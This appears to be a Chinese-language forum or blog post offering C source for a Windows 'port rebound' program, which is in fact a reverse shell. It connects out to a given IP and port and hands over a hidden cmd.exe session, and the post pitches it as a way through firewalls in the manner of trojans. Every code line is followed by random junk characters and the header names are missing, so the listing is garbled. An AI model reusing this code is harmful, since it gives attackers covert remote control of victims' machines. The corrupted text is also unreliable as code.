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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {VI%]n{M  
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/* ============================== ."3 J;j  
Rebound port in Windows NT 5|AZ/!rb  
By wind,2006/7 Ju:=-5r"'  
===============================*/ 2y,~i;;_  
#include 89WuxCFS  
#include U~7.aZHPx3  
!N!M NsyDz  
#pragma comment(lib,"wsock32.lib") [J:vSt  
!WbQ`]uN/#  
void OutputShell(); Th"7p:SE?  
SOCKET sClient; + J_W}G  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]ImS@!Ajjx  
F*Qw%  
void main(int argc,char **argv) 5ptbz<Xv  
{ {5*+  
WSADATA stWsaData; N\H(AzMw  
int nRet; K<N0%c~  
SOCKADDR_IN stSaiClient,stSaiServer; m 81\cg  
o6{XT.z5qx  
if(argc != 3) c5Offnq'1  
{ {\ .2h  
printf("Useage:\n\rRebound DestIP DestPort\n"); hf%W grO.  
return; ib& |271gG  
} Q>||HtF$A  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1f~_# EIC  
6Q\n<&,{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9#_49euy|P  
QI!:+8  
stSaiClient.sin_family = AF_INET; #`?uV)(  
stSaiClient.sin_port = htons(0); j^LnHVHk1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {qj>  
4CNK ]2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .p0;y3so4  
{ 6g$+))g  
printf("Bind Socket Failed!\n"); bEPXNN  
return; lJq %me;4m  
} 64zO%F*  
D4`7,JC}<  
stSaiServer.sin_family = AF_INET;  vlE#z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $|A vT;4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O:D`6U+0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~PS%^zxyn  
{ Oi7:J> [  
printf("Connect Error!"); M8 ++JI  
return; F2+lwycY  
} NH|v`rO  
OutputShell(); ysvn*9h+&  
} h~<#1'/<  
<$ '#@jW  
void OutputShell() rJZ-/]Xf!6  
{ [D /q%  
char szBuff[1024]; |n]^gTJt  
SECURITY_ATTRIBUTES stSecurityAttributes; n) `4*d$`  
OSVERSIONINFO stOsversionInfo; 6s>PZh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z#O{rwnl  
STARTUPINFO stStartupInfo; ;9b?[G  
char *szShell; [?;oiEe.|  
PROCESS_INFORMATION stProcessInformation; 6:QJ@j\  
unsigned long lBytesRead; y*_g1q$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XjL( V1  
m@"!=CTKd  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ox)/*c<  
stSecurityAttributes.lpSecurityDescriptor = 0; yKq;EcVx  
stSecurityAttributes.bInheritHandle = TRUE; J2yq|n?2gq  
Jb_/c``  
~>)cY{wE_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <:/V`b3a  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /&vUi7'  
}8 ,b; Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BXLhi(.s  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2R.YHj  
stStartupInfo.wShowWindow = SW_HIDE; \b~zyt6-  
stStartupInfo.hStdInput = hReadPipe; hLO nX<%a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]_5C5m  
jj.)$|&#`  
GetVersionEx(&stOsversionInfo); d0 |Q1R+3  
4}96|2L5  
switch(stOsversionInfo.dwPlatformId) /l@7MxE  
{ Jg: Uv6eN+  
case 1: >uxak2nM-  
szShell = "command.com"; Rm6<"SLV  
break; "PnYa)?1  
default: ZH/|L?Q1U  
szShell = "cmd.exe"; 8=t?rA  
break; vR#A7y @ !  
} LvE|K&R|  
)]rGGNF*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bxz{rR0XV  
KvC:(Vqj  
send(sClient,szMsg,77,0); %!LrC!6P4  
while(1) \:^$ZBQr<n  
{ #O=^%C 7p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :B)w0tVw  
if(lBytesRead) dqPJ 2j $\  
{ i_f"?X;D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l,pq;>c9a  
send(sClient,szBuff,lBytesRead,0); 7dN]OUdi  
} D[yaAG<  
else _MnMT9  
{ kU4Zij-O  
lBytesRead=recv(sClient,szBuff,1024,0); Cl i k  
if(lBytesRead<=0) break; c]&(h L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &V iIxJZ1$  
} b- %7@j  
} U{{RRK|  
IjD: hR@  
return; H=7dp%b"  
}
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